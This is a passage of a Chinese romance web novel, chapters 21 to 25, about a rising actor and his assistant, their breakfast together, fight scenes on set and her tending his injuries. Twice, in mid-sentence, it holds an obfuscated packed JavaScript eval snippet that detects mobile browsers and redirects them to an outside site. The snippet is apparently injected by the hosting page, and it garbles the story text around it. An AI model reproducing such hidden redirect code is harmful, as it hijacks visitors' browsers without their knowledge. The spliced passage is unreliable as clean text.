萧扬的目光随着她移动，等她走到自己面前，开口问道：“怎么在这里？” “我……东西掉了，”宁茉快速眨了眨眼，“来这里找。” 萧扬没有问她什么东西值得她大半夜跑下楼翻找，只是继续问道：“找到了吗？” 宁茉讪讪道：“……找到了。” 萧扬低头看她，宁茉穿着宽松的白色绒毛睡衣套装，脚上也是一双厚实的白色棉拖，说实话，穿着这么白的一身藏在那里……想不发现都很难。 而让他确定那是宁茉的，其实是那双眼睛，即使在暗夜里也亮如晚星的眼眸，只是一眼，萧扬就确定了对方的身份。 宁茉也趁空打量了萧扬一眼，他换下戏服，裹着一件棒球服外套，修长笔直的腿被运动长裤包裹着，加上他毫无瑕疵的那张脸，整个人看起来像个刚下球场的少年，即使已是深夜，眼底也没有疲惫之色，眼眸依旧清亮专注。 “……你们这么晚才回来呀，”宁茉转移了话题，“辛苦了。” 萧扬点了点头，低低地嗯了一声。 宁茉抿了抿嘴，不知道该再说点什么，昨晚和萧扬分开时萧扬的神情还印在她脑海里，白天一天没有见到萧扬，冲淡了不少复杂情绪，但此刻直面萧扬，宁茉很难不想到昨晚的画面，总觉得有些别扭。 加上大半夜不睡觉被抓包，她脸上的热度都还没有褪下去。 先打破这份沉默的是萧扬，他看着宁茉身上的睡衣，问道：“你总是睡的很晚吗？” 宁茉一怔，对上萧扬的眼神，又有些犹疑地避开，抿了抿嘴：“……最近是有一点。” 说谎话时难免心虚，更何况是一连串谎话，宁茉头都快低到地下，声音也越来越小。 萧扬想了想：“是因为工作太累了吗？” “不是不是，”宁茉立刻摇头否决，她还没有在上司面前喊累的习惯，“我……认床，刚来这边不太适应。” 这话似乎也不太合适，她是萧扬的助理，一个明星助理却不习惯出差，这样怎么能胜任这份工作呢？ 宁茉今晚的脑子转的不太顺畅，也许是一楼太冷，将她的思维都冻凝固了，身体也微微颤抖着，又或许是面对着萧扬，她下意识不想说谎，又不得不给自己找理由，矛盾的情感拉扯着她，宁茉捏紧衣角，嗓子干涩的厉害。 “跟 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恰好前台服务生从电梯里出来，看到大堂突然多了一个人顿时一愣，随后回身帮他们按了电梯：“两位客人要上去吗？” “上去上去。”宁茉看了萧扬一眼，朝着电梯走去，萧扬很快就跟在她身后，一前一后进了电梯。 电梯门缓缓闭合，狭小的空间内，宁茉按下楼层按钮，面对着那排按键没有回头。 萧扬就站在她身后，存在感强烈到让人无法忽视，后颈的每个毛孔都仿佛能感受到萧扬的气息。 然而越在意，越能察觉到对方的行动，陌生又熟悉的气息突然朝她靠近，宁茉微微一惊，吸了口气下意识转头，看到萧扬正站在她身后，伸直了手臂，掌心放着车钥匙。 “明天早上你和我去剧组。” 宁茉很小幅度地吐出那口气，点点头：“好，我会准时来叫你的。” 伸手接过车钥匙，指尖不经意擦过萧扬修长的手指，宁茉微愣，又不动声色地将车钥匙收到睡衣口袋里。 手心有些痒意，萧扬收回手，在身后握成拳，目光却没有从宁茉身上移开过：“那么……” 宁茉抬眼看她，清澈的眼神和他对上：“什么？” “……回去休息吧，”萧扬低声道，“很晚了。” “叮”的一声，电梯门应声而开。 “哦……”宁茉点点头，“我回去了。” 她转身离开，向着自己的房间走去，萧扬没有立刻关闭电梯门，而是看着她的背影，直到宁茉的身影完全消失，远处传来刷房卡开门的声音，他的指尖才从开门键上松开。 电梯缓缓闭合，电梯内的男人靠着轿厢，深褐色的眼瞳里闪动着细碎的光。 过了几秒，他突然笑了。 宁茉刚才说，想做他的助理。 是不是可以理解为，比起在荣城，宁茉更想在他身边？ 萧扬一边笑，一边又觉得自己好笑。 竟然会因为这么一句话开心，也许自己完全会错意了，宁茉只是想要更高的薪资水平，和他没有一丝一毫的关系。 但……的确很高兴。 算是一个好的开始。 22. 第 22 章 第二天一早，宁茉就收拾好东西放到车里，又上楼等在了萧扬房间门口。 约定的时间马上就到，萧扬的门内却静悄悄的，宁茉手放在门上犹豫了几秒，想着要不要敲门。 下一秒，房门突然被拉开，萧扬的脸出现在房门后，和猝不及防的宁茉打了个照面。 “……我以为你还没起床，”宁茉尴尬地放下手，问道，“现在去做妆造吗？” “嗯。” 萧扬走出房门，宁茉跟在他身后，抬眼看了一眼萧扬。 他今天穿了一件皮衣外套，腰部用皮带掐紧，显得肩宽腰窄，一双长腿包裹在质感高级垂顺的黑色长裤里，身材比例优越到惊人，脚下的皮鞋干净如新，连头发也是收拾过的，显出一种分明又清爽的层次感来。 虽然每天对着这张脸已经看习惯了，宁茉还是冷不防被他惊艳了一下。 萧扬的衣品一向很好，今天打扮的更是格外……惹眼。 仿佛有重要约会似的。 萧扬的妆造很简单，宁茉只等了不到半个小时就做好了，他换掉身上的衣服，穿上了那身校服。 宁茉有些可惜，刚才那么好看的一身只有她一个人看到了，实在是太浪费了。 两人朝着电梯走，宁茉看到浦世诚给自己发来了今天的通告单，刚点开看了一眼，走在她前面的萧扬突然脚步一停。 宁茉没留意、差点一头撞到他背上，立刻急刹车，抬头看向他：“怎么了？” “早餐吃什么？”萧扬转头看她，语气自然的像是在问一件再寻常不过的事情。 然而萧扬这个问题却让宁茉有些摸不着头脑：自助餐厅的早餐来来回回不就那么几样，萧扬为什么这么问？ 但很快她又意识到，她似乎从没有在自助餐厅见过萧扬。 转念一想也是，自助餐厅那么多人，萧扬这么一张脸出现在里面难免引起关注，《风暴降临》的补拍对外是保密的，萧扬他们应该也不想太多人知道这件事。 但……宁茉还真的不知道附近有什么好吃的。 宁茉的沉默让萧扬理解成了还没想好，他便主动开口：“学校附近有几家早餐店味道不错，你想吃汤包还是烧麦？” 宁茉眨了眨眼，笑道：“都可以。” 两人走到停车场，宁茉解锁了车，坐到了驾驶室，却没想到下一秒副驾驶的门开启，带着草木清香的萧扬坐了进来，前排瞬间显得有些拥挤。 “……”宁茉有些愣神地转过头，看着萧扬。 萧扬甚至不等她发问，就已经自顾自解释道：“早餐店的路你不认识，我给你指路。” 听起来是个足够合理的理由，可身边坐着这么一个存在感极强的人，宁茉总觉得自己的注意力被分散了些，不得不集中十二分注意看路，跟着萧扬牌导航开车。 这里是学校附近的一条街道，两边都是居民楼，楼下开着一排早晚餐铺，宁茉停好车，就跟着萧扬一起来了“吴记汤包”，店里这会儿已经聚满了人，连空位都没几个，宁茉朝里面张望了一圈，有点担心没位置坐。 店主是个头发微白的中年男人，看到萧扬却朝着他笑着打招呼：“帅哥又来啦，等着，我给你们摆个桌子。” 说着他从店门后抬出一张旧折叠桌放到店门口，麻溜地放好两个塑料凳，朝着萧扬和宁茉招招手：“来，帅哥美女，坐这儿。” 长得帅竟然连吃早餐都有特权么？宁茉心里嘀咕了一声，却也乐呵呵地走去坐下，毕竟店里飘出来的香味实在太香，她的肚子此刻在咕噜咕噜地叫。 等汤包端上来，宁茉又一次感叹这家店生意好果然是有原因的，汤包表皮玲珑剔透、薄软筋道，汤汁浓郁醇厚，内馅鲜香肥美，咬一口就香气扑鼻，宁茉被汤汁烫了一下嘴，还是忍不住趁热吃完了一个。 等她略显狼狈地去擦嘴时，才发现身边的萧扬并没有吃汤包，而是在慢条斯理地剥茶叶蛋。 她愣了一下：“你怎么不吃？” 萧扬指尖轻点了下蒸笼，抬眼看了一眼宁茉：“都是你的。” “？” 宁茉这才发现，萧扬给自己准备的早餐竟然只有一个茶叶蛋和一杯豆浆，剩下的都是给她点的。 ——那么高强度的拍摄，竟然只吃这么少？ “不行，”宁茉摇摇头，“你吃的也太少了，这样不行。” 仅仅几天的拍摄，萧扬肉眼可见地又瘦了一圈，再这么下去，她怕萧扬会生病。 萧扬很浅地笑了一下，眉眼间都是笑意：“我有分寸，不用担心。” “……这不是分寸的问题，”宁茉把那一笼汤包往萧扬面前推了推，“萧扬，人不吃饭是会饿死的。” 萧扬看向她，她难得严肃，一双眼认真又担忧地望着自己，眼底的心思显而易见：小助理是真怕自己被饿死了。 没忍住又笑了一下，萧扬轻咳了一声：“我其实……” “很好吃的，”宁茉怕他拒绝，又拿美食诱惑他，“你尝一下嘛。” 萧扬的目光望向宁茉扶在蒸笼旁的手，他当然知道好吃，前两天浦世诚在这里狼吞虎咽、吃一口恨不得吧唧十下嘴，表情又皮又欠的，萧扬都没什么反应。 可此刻望着宁茉忍不住再把蒸笼向自己这边推的手，和她难得放软近乎撒娇的请求声，萧扬终于还是眉心微动，伸手拿起筷子，夹了一个汤包放到碗里：“好了……” 下一秒，宁茉笑眯眯地朝着店主举手，声音又脆又甜：“老板！我这里再要一笼！” 老板立刻高声应道：“好嘞！” 萧扬：“……” 没看出来，小助理还有这种得寸进尺的能力。 …… 一顿早饭吃的满足，宁茉还打包了两份荷叶糯米糍，和萧扬准点到了剧组。 剧组正在忙碌地准备，今天的拍摄场地在体育馆，宁茉发现跟在陈昌身边的副导演不是费书山，而是另一个没见过的人，旁边有人喊他“宫导”。 她反应过来，那就是另一个副导演宫原，宫原 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萧扬穿好护具，一转头就看到自家小助理苍白担忧的脸，眼眸微动，走到宁茉身边：“怎么了？” 宁茉嘴唇有点干涩，说话声音都显得粘滞：“今天……全是打戏啊。” “嗯，”萧扬点点头，神情淡然，“我做过防护了。” 宁茉看了他一眼，萧扬看起来真的毫不在意，她却在意极了。 盯着萧扬校服里的护具，宁茉不放心，伸手想再帮忙加固一下。 一双温暖柔软的手突然圈住了自己的腰，萧扬整个人僵住，心跳瞬间加快，眼神略带着惊愕地看向眼前人。 偏偏她神情自然坦荡，让人连一分坏心思都生不起来。 宁茉仔仔细细围着萧扬转了一圈，把护具的系带系结实，又试探般朝着萧扬的腹部按了按，想试试护具的厚度。 没想到还没按两下，手腕就猛地被萧扬抓住，对方手心烫的惊人，宁茉抬头，看到萧扬极不自然的神情和泛着薄红的脸：“……你干什么？” “我看看它抗不抗揍……”宁茉说着还要再摸，萧扬却抓着她的手腕往旁边拉。 “……不用试了，很结实。” 宁茉缩回手，还是有些不放心，盯着萧扬上上下下的看。 萧扬的脸逐渐红到了脖子，终于受不了般咳了一声，转过头不再和宁茉对视：“麻烦你帮我拿瓶水。” “好，我去给你倒热水。” 宁茉说着要走，萧扬却补充道：“……要冰水。” 宁茉瞪大眼：“这么冷的天喝冰水？你不怕感冒啊？” “……”萧扬的目光躲开她，声线有些不稳，“等会儿拍戏会很热，先准备一瓶。” 宁茉这才不情愿地走开，去剧务那边要了一瓶冷藏过的矿泉水给萧扬，没想到萧扬干脆地拧开，先仰头大口灌了几口。 低下头就看到宁茉诧异瞪大的眼，萧扬没忍住笑了一声，把水递了回去，眼底多少闪着几分心虚：“渴了。” “……” 23. 第 23 章 现场马上就要开拍，宁茉拎着水无奈地坐到一旁，看向副导演宫原，宫原和那个叫“彬哥”的助理正在和几个群演讲戏，这段戏他们之前拍过，没有再讲太多细节，只着重讲了机位和动作。 饰演校长儿子丁泽的演员叫卓磊，也是剧里带头霸凌阑牧的人，他朝着萧扬走过来，两个人简单打了个招呼，又试了一遍走位，就准备开拍了。 开机的瞬间，萧扬的表情就变得隐忍恐惧，切换成了剧里的“阑牧”。 阑牧家里条件很差，只能勉强供他读书，所以他不能得罪丁泽，偏偏因为阑牧生的好看、成绩又好，学校里的女生很多都喜欢他，被丁泽等人看不顺眼很久了，而这一场发生在体育馆的霸凌，则是最为触目惊心的一次。 “嘭！！！” 丁泽将阑牧重重推倒，阑牧摔在一堆体育器材中，被扬起的灰尘呛到，又很快缩起身子，朝着角落后退。 “怎么，不服气啊？” 一个小弟踢了阑牧肚子一脚，语气恶劣：“你想还手随时可以还啊。” 阑牧捂着腹部，一言不发，脸色有些发白。 丁泽也冷笑道：“我警告过你，离尤丽远一点吧？你听不懂吗？” 说着他也踹了一脚阑牧，出脚时力道很大，最后踢到阑牧身上时却猛然收了力道，即使在场外的宁茉也看出来他没有用力，画面显得有些假。 “咔！干什么呢？” 拍摄暂停，宫原皱着眉头走过来拉着卓磊讲戏，宁茉也迅速起身跑到了萧扬身边。 刚才摔的那一下，她看到萧扬的背结结实实磕在了器材的角上。 “你刚才磕到了吗？”她盯着萧扬背后的校服看，恨不得透过校服看到里面的情况。 “没有，不用担心，”萧扬冲她安慰般笑笑，随后看向卓磊，问道，“你怎么了？” 对方显然不敢用力，萧扬觉得他似乎在顾忌什么。 卓磊的脸色有点尴尬：“我之前……” 他话说到一半就停，还是饰演卓磊跟班的一个人帮他继续解释：“之前磊磊演这部分戏的时候比较用力，被骂过，有点不敢下手。” 简单的一句，萧扬和宁茉都听懂了。 之前演这个角色的是王驭，他粉丝很多，看到这样被单方面殴打的戏，一旦对手演员表现的用力，即使力道实际上并不重，王驭的粉丝也不会买账，卓磊应该是经历了一场比较严重的网暴，才有这么大的阴影。 萧扬伸手拍了拍卓磊的肩膀，语调冷静：“放开手打，不用收着，你越不敢打，这场戏越难拍。” “……”卓磊看了他一眼，眼底满是触动，“我明白了，谢谢。” …… 再次开拍，宁茉退到一边，提心吊胆地看着迅速进入状态的几人。 这次卓磊没有再收着，展现出戏里一贯嚣张跋扈的校长儿子极为狠毒的一面，几次下手都专挑人身上软的地方打，萧扬缩成一团，脸上的痛苦十分逼真，一时间让人分不清楚他是在演戏还是真的痛，连脸色都变得惨白、额前满是冷汗。 宁茉手里一瓶水捏的变形，好几次都觉得该暂停了站起来，却又不得不坐下，继续看这个漫长的镜头，后脖颈都开始发紧。 更紧张的是，为了确保这个镜头的质量，宫原重复拍摄了四遍，直到他喊了过，几个演员才停下来。 卓磊是第一个弯腰去扶萧扬的：“没事吧弟弟？” “没事，”萧扬起来的很平稳，揉了揉肩膀，“没伤到。” 刚说完，余光就看到一道黑色的身影冲到了他面前，随后衣服便传来拉扯感，萧扬低头，看到宁茉正绕着自己前前后后的检查，似乎是在确认他有没有受伤，一秒钟转了三圈。 被宁茉转圈圈的动作可爱到，萧扬没忍住笑了出来：“我没事。” 宁茉怀里抱着萧扬的衣服和保温杯，问了一连串的问题，疼不疼、冷不冷、要不要喝水，萧扬全都拒绝了，只说他没事。 宁茉眉头皱成一个川字：“拍这种戏需要这么用力吗？” 她没有看过拍摄片场，不知道这么短的一个镜头竟然要反复打这么多遍。 萧扬点点头，目光却停在她脸上：“嗯，这样效果才好。” “……不可以用替身吗？”宁茉说完咬了咬嘴唇，自己也知道这个提议不合理，替身也是人，但她还是心疼，“这么危险的动作，万一受伤了，后面怎么办……” “这不算危险，”萧扬清楚她也看过剧本，“重头戏还在后面。” “……” 宁茉瞬间沉默了，她想到《风暴降临》中阑牧的结局，那场天台对峙的戏份，危险程度和现在比起来才是小巫见大巫。 下一场戏很快继续，这次霸凌升级，丁泽想了一个恶毒的主意，他嫉妒阑牧那张脸，要小弟们扒了阑牧的衣服拍裸照视频。 两个人按住阑牧的手脚，另一个人去撕他的校服，阑牧拼命挣扎，头磕在器材上，有血从额角流下。 …… 宁茉原本还紧张地盯着，看着看着，突然没那么紧张了：因为萧扬这场戏卸了护具，身上只有薄薄一层校服，撕扯间露了不少腹肌出来。 萧扬近期急速瘦身，肌肉变薄了，腰身更有种少年感的削薄劲瘦，身材看起来……反而更好了。 一场戏拍完，宁茉还在盯着萧扬发呆，反倒是萧扬自己迅速坐起来，整理了一下身上破了大半的校服，耳尖发红。 他不是没拍过裸露的戏份，更何况这场戏根本不算露，但是……萧扬一想到不远处宁茉正眼巴巴望着自己，就有一层薄红从耳尖蔓延到脖颈，神情极不自然。 宁茉也恰好在此时跑了过来，手里拿着毯子：“要调整灯光，休息五分钟，先裹一下毯子吧，太冷了。” 场上每个人都全副武装，连宁茉自己都穿了羽绒服，唯独萧扬只有一套校服，还被撕了一大半，她生怕萧扬不要自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538951|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己手里的毯子，想了很多理由，没想到萧扬快速接过她手里的毯子裹在身上，盖住了从撕破的校服外套中露出的一点背肌。 莫名有些遗憾，宁茉蹲下来，把保温杯递给他，看着萧扬快速喝了几口水，目光始终定在地上，没有和自己对视。 宁茉看着看着，突然发现了一点新奇的东西，眼底一亮，朝着萧扬凑近了一点。 萧扬猝不及防闻到一阵浅淡的清香，混合着一点甜味和奶檀香，是宁茉身上的味道，他微微失神一秒，目光落在盯着自己耳朵看的女孩身上。 “……怎么了？” 宁茉一双眼睛睁得很大，清澈的眼眸清晰倒映出萧扬的侧脸和微红的耳朵：“你有耳洞啊？” “……！” 萧扬的耳朵几乎是瞬间变得通红，他猛地眨了下眼，呼吸都猝然加快，声音也不自觉压低，“……嗯。” “什么时候打的？”宁茉望着他的耳洞，满眼好奇，萧扬可不是闲着没事会去打个耳洞的性格，这个耳洞看起来也很多年没有戴过首饰，要不是宁茉靠得近了，根本不会发现。 萧扬垂下眼眸，似乎是想避开她的视线，却避无可避，只能偏过头，热潮涌在脸上，想压都压不下去：“……之前为了角色打的耳洞。” 宁茉眼底有些恍惚，想了几秒，终于想到萧扬说的是哪个角色。 他曾经客串过一部剧的角色，是个地下乐队的吉他手，浑身铆钉皮衣，耳朵上也大大小小戴了一堆饰品。 她记得那个造型很浮夸，却帅的让人眼前一亮，那一集萧扬明明只出现了五分钟，硬是涨了几万的粉。 宁茉拿出手机：“哦……是不是一个吉他手？” 萧扬眼眸微动，目光遽然转向宁茉：“你知道？” “……”宁茉顿时有些心虚，手机里一边搜着那部剧的名字，一边解释道，“工作室给我们看过你的资料。” “……” 萧扬眼底的光亮微暗，又在看到宁茉正在搜剧照时一愣，立刻伸手挡在了屏幕前。 “……别搜了。” 这个小助理，怎么什么黑历史都想知道。 他的指尖修长，轻轻一遮就将屏幕挡的严严实实。 “我想看看，”宁茉挪开手机，机智地背朝萧扬，“听说这部剧里你很帅。” ……听谁说的？谁这么爱瞎说？ 一想到那部剧浮夸到离谱的造型，萧扬眼角一跳，几乎没有犹豫地伸手要去拿宁茉的手机。 宁茉早有防备，她灵巧地朝后一躲，却忘了自己是蹲在萧扬身边，脚下踩到了萧扬披着的毛毯一角，毛毯随着萧扬的动作移动，脚下瞬间传来一股向上的力道，宁茉顿时失去了平衡。 “啊！” 萧扬下意识伸手护在宁茉的背上，却没想到宁茉情急之下随手去抓身边的东西，一把揪住了萧扬的衣领。 下一秒，“轰”的一声，两个人一起滚到了地上。 24. 第 24 章 萧扬在即将摔倒的瞬间硬生生把自己垫到了宁茉下面，于是宁茉结结实实砸在了他身上，他则摔在地上，身上的毛毯彻底散开。 宁茉第一时间只感觉鼻尖砸到了一个柔软有弹性的物体上，等她抬头一看，属于男性结实的胸肌赫然地呈现在她眼前，皮肤细腻冷白，剧烈的心跳几乎要隔着肌肤跳出来。 ……？ 一秒钟后，她意识到这是萧扬。 这可能是一个月来她离萧扬最近的一次，近到宁茉脑子宕机了几秒，竟然忘了移开目光。 萧扬轻咳了几声，脸几乎红透了，护在宁茉背上的手拍了下她，力道很轻。 “……起来了。” 宁茉终于回神，脸色瞬间爆红，急急忙忙从他身上翻下来。 他们的动静不小，好在现场足够吵闹，没几个人注意到他们，有工作人员想来帮忙，看他们已经爬起来了，就没有再动。 宁茉一股脑从地上起来，拍掉身上的灰尘，慌得手忙脚乱，不敢去看萧扬。 萧扬则捡起地上的毯子，重新披在身上，脸上的温度下去了些，对面的小助理的窘迫反倒缓解了他的尴尬。 “刚才没受伤，”萧扬盯着她，“现在有内伤了。” 宁茉的脸红的像个熟透了的蜜桃，她躲开萧扬的眼神：“……抱歉，我不是故意的。” “……哦。”萧扬回的意味深长，让宁茉颇有种自己是此地无银三百两的感觉。 “……” 宁茉脑子里还是很混乱，余热从脸颊褪下，却固执地留在耳尖不肯走，刚才那一幕也在脑海里，时不时浮现一下。 萧扬健身的效果的确很好…… 宁茉晃神的瞬间，突然又愣了一下，猛地抬眼看向萧扬，直直盯着被萧扬挡起来的胸膛。 连萧扬都被她理直气壮的目光惊了一秒：“……还看？” “……”宁茉的脸瞬间更红了，但她忽略不了刚才那一丝异样，朝着萧扬靠近了一点，“你受伤了？” “嗯，内伤。”萧扬的语调很不正经，像在延续刚才的对话。 “……不是，”宁茉的表情却严肃起来，一张小脸板正，眼底一点笑意都没有，“萧扬，你是不是受伤了？” “……” 萧扬嘴角的笑意一点点压下，目光里的调侃也逐渐凝固。 “！”宁茉意识到什么，呼吸瞬间加快，她瞪大眼睛看向萧扬，眼底是肉眼可见的慌乱，“伤到哪儿了？我看……” “没有。” 萧扬这次否定的很快，不给宁茉再继续的机会：“我没事。” “可是……”宁茉脑海里是方才余光扫见的一小片青色，在萧扬冷白的皮肤上极为突兀扎眼，就在萧扬后腰的位置。 宁茉越想越觉得不对，伸手抓住萧扬的胳膊：“萧扬你让我看看……” 萧扬却朝着她摇摇头，眼底是无声的拒绝：他不想惊动旁人。 “……” 宁茉望着他，萧扬的目光一向深情，此刻也是一样，眼底带着笑意，明明没做任何动作，但就是清楚地告诉了宁茉：不要紧，我没事。 下一场戏即将开拍，宁茉犹豫了几秒，终于还是一咬牙退出了场地，目光却始终没有离开过萧扬。 …… 这一场戏是阑牧的反击，他被逼到了极点，伸手砸断了身旁的体育器材，拿起木棍反击，原本濒临脱力的身体猛地爆发出惊人的体力，两个回合就把丁泽的小弟们打倒在地。 下一秒阑牧血红着眼，抬起木棍，一棍子狠狠砸在了丁泽的膝盖上。 随着一声惨叫，几个人清晰地听到了骨头碎裂的声音。 阑牧的脸色也瞬间变得惨白，眼底满是惊慌失措。 —— “咔！！！” 宫原的神情十分兴奋：“一遍过，非常漂亮！” 所有人欢呼起来，萧扬丢开手里的木棍，眉头的阴郁之色逐渐褪去，只是低着头拉起了丁泽：“辛苦了。” 宫原拿起喇叭：“上午拍摄结束，休息一个半小时，大家都辛苦了，先吃饭吧。” 宁茉第一时间跑了过来，她刚才看的清楚，萧扬反击的时候动作很不自然，肩背像是用不上力。 她怀里抱着萧扬的外套，递给萧扬时，萧扬眉头轻皱了一下，面上却看不出异常。 “去车里吗？”宁茉问他。 萧扬点了点头，披上外套，跟着宁茉朝外走。 体育馆离停车场不远，但宁茉越走越快，到最后几乎小跑起来，反倒让萧扬跟的有些吃力。 他看着前面快步疾走的背影，竟然莫名冒出了几分心虚的念头。 小助理似乎很不高兴。 走到车边，宁茉解锁了车辆，直接跑去后备箱，拿出放在里面的医药箱，转身面对萧扬。 几乎不用说话，萧扬就明白了她的意思。 “……”萧扬弯腰上车，伸手解着外套的扣子。 宁茉就在一旁紧紧盯着他，一脸紧张，这画面反倒有些奇怪。 萧扬的手犹豫了一下，脸微微侧向宁茉，深褐色的眼眸里带了点不自然的迟疑：“……我自己来吧。” 宁茉一双眼睛直直盯着他，没动也没说话。 “……” 萧扬无声地笑了，短短几天，小助理脾气见长啊，之前面对这种情况还会红着脸躲开，现在居然能眼也不眨地要他脱衣服了。 慢条斯理解开扣子，萧扬脱了外套，又脱掉身上已经破烂到几乎只能算一块布片的校服，转身背对着宁茉。 “嘶……” 看清萧扬背后的伤，宁茉倒吸了一口凉气。 比她想象中严重的多，整个背后大片的青紫，肩膀、后腰上都在渗血，最严重的一块上在左肩上，像是磕碰留下的伤，拉出很长的一道口子。 宁茉拿起药水，一时间竟然有点不敢下手。 这么严重的伤，萧扬面上竟然还跟个没事人一样，要不是她坚持来车里涂药，他难道打算这样撑一天吗？ 大概是察觉到身后突然没了动静，萧扬转头看过来，瓷白的脸和乌青的背形成了鲜明对比，看得人眼眶发热。 萧扬一转头就看到宁茉没什么表情的脸，平素清澈纯净的眼眸此刻氤氲着雾气，嘴唇抿的很紧，虽然没说话，却看得出来心情很差很差。 车里开着暖气，萧扬裸着上身也不觉得冷，但宁茉的目光如有实质，看的他后背有些发凉。 “……” 萧扬微张了嘴，似乎打算说些什么，下一秒却变成了一声闷哼，堵在了喉咙里：“……唔。” 宁茉用镊子夹着棉签，先擦拭了他带血的伤口。 萧扬：“……” 额前有冷汗浸出来，萧扬清俊的眉眼微闭，嘴角却是上扬的。 宁茉的情绪很少这么鲜明地表露，而她生气的理由，也全是因为自己。 …… 宁茉刚开始处理伤口时有点着急，听到萧扬的声音就知道下手重了，立刻放缓了力道，快速擦干净萧扬背上的血，开始上伤药。 这么多淤青，没个几天是散不了的，好在之后几天没有这样激烈的打戏，还有时间养伤。 但看着这些伤口，宁茉自己的胸口莫名也跟着疼，更多的是无奈，演戏受伤是很难避免的，而她对此无能为力。 整个上药过程宁茉一言不发，目光专注地盯在萧扬的伤口上，动作轻柔温柔，破皮的地方贴上医用无菌敷贴，用了十几分钟，终于处理好了。 她开口：“前面。” 萧扬愣了一下，背对着她看不清表情，耳尖却红了：“……我自己来。” 宁茉想了想，也没有反对，把摊开的一堆医用品放到座位上，打开车门退了出去。 萧扬在车里处理前胸和腿上的伤口，隔着防窥膜看不见里面，宁茉索性坐在了路边的台阶上，手肘支在膝盖上，直愣愣地望着车发呆。 她今天的情绪不太对劲。 久违的气郁感萦绕在心间，眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566641|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前像是被蒙了一层纱，心底生出一股看不清方向的烦躁感。 她很少会这样，而今天眼睁睁看着萧扬身上的伤逐渐累积，呼吸和情绪都开始激荡，一度连眼眶都是红的。 似乎从那晚她送萧扬回酒店，路上问了那三年的冷藏开始，两人的关系就悄然间有了变化。 宁茉说不出来这是变得熟悉了、还是把萧扬推得更远了，只是察觉到自己的顾虑多了起来。 可能是一种补偿心理，既觉得揭人伤疤有些内疚，又觉得萧扬实在是敬业到让人担心，种种心情堆积起来，就让她变得别扭又焦躁，甚至几度想干涉萧扬的行动。 她不应该这样的。 宁茉深呼吸几下，压下心底那股异样，双手捂着脸搓了几下，脸上开始回温，青白了许久的脸色也终于有了点血色。 又坐了一会儿，宁茉眼底恢复清明，她是个助理，又不是萧扬的朋友或亲人，不该用这样的态度对萧扬，而且演员敬业不是好事么，萧扬表现的越好，这部剧越可能给他带来好的反响，这才是萧扬期待的，也是她的愿望。 不能再干涉萧扬了。 …… 几米之隔的车内，萧扬心不在焉地处理着身上的伤，目光却透过玻璃盯在路边的宁茉身上。 她似乎在发呆，眼底没什么焦距，散漫地看着自己这边，一双手捧在脸上，将脸颊挤出一点肉来，看起来分外稚嫩可爱，让萧扬想起几年前初见宁茉时的模样，那样简单的素白裙子，穿在宁茉身上偏偏就好看的要命，让人一眼就再也移不开视线。 后来几次见她，也总是漂亮的浅黄裙子，颜色明媚鲜艳，像是要把生命力烙在他的心尖上。 可惜后来再见宁茉时，就再也没见过亮色了。 她总是穿着一身黑，今天难得换了稍浅一些的颜色，棕青色的羽绒服外套十分厚实，将她圆滚滚地包裹起来，怀里还抱着刚才的毛毯，这么看起来，像个毛绒绒的小动物。 ……依旧很可爱。 “嘶！”一阵尖锐的疼痛自腹部传来，痛感直击头皮，疼的人眉头紧皱。 走神的下场就是碰到了伤口，他低头看着自己小腹，一边疼一边又忍不住咬紧后槽牙，仿佛跟自己较劲似的，愈发快速地动作，草草将敷料贴在伤口上，胶带一拍，就全当包扎好了。 要是让宁茉看到这一幕，大概又要爆炸了。 想到刚才宁茉眼底忍了很久的气恼，萧扬闷笑一声，心情愉悦起来。 明明很不高兴，却不敢对着自己表露，又无处发泄，气闷到满脸都写着不爽，咬牙切齿地给自己包扎。 很少见到情绪这么鲜活的宁茉，萧扬甚至有些可惜，这场打戏结束的太快了。 …… 车门缓缓打开，宁茉抬起头，正对上萧扬的目光，他似乎包扎完了。 宁茉跑过来：“好了吗？” “嗯，”萧扬换了一身衣服，走下了车，“饿不饿？” 已经中午了，该吃饭了。 剧组提供盒饭，但萧扬近期一直在吃减脂餐，是单独点的，就没有再让剧组提供，这些天要么让助理送饭，要么点外卖。 但今天只有宁茉和萧扬两个人，萧扬有了别的想法。 “附近有一家餐馆不错，”萧扬语气自然，包含了十成十的私心，“我们过去尝尝？” “好，位置在哪里？”宁茉走向驾驶座，伸手要开车门。 萧扬动作比她快，挡在了车门前：“我记得路，我开吧。” “不行！”宁茉立刻反对，“你身上还有伤呢。” “不影响。”萧扬声音低沉，垂眸看了宁茉一眼，目光在她略带着焦急的脸上停留一秒，转而看向车门，伸手去按车门开关。 几乎同时，宁茉也伸手去按，两人的手在空中相触一秒，先退开的竟然是萧扬。 他微愣了一下，低头看了一眼手心，随后若无其事地继续去抢驾驶权。 宁茉却比他想象中要眼尖：“你的手怎么了？” 25. 第 25 章 萧扬收回手的那一下，宁茉分明看到他掌心带血。 难道手也受伤了？！ 眼看萧扬一脸坦荡，打算遮掩过去，宁茉瞬间忘了自己刚刚才立下的不管萧扬的flag，一把抓住萧扬的手腕，翻了过来。 下一秒，手心鲜血淋漓的伤口展现在她眼前。 萧扬：“……” 宁茉：“？！” 两相对视，在宁茉灼灼的目光下，萧扬脸上染上了些尴尬，声调也比方才轻了：“……拿木棍打人的时候用力大了点，划破了，不要紧的。” 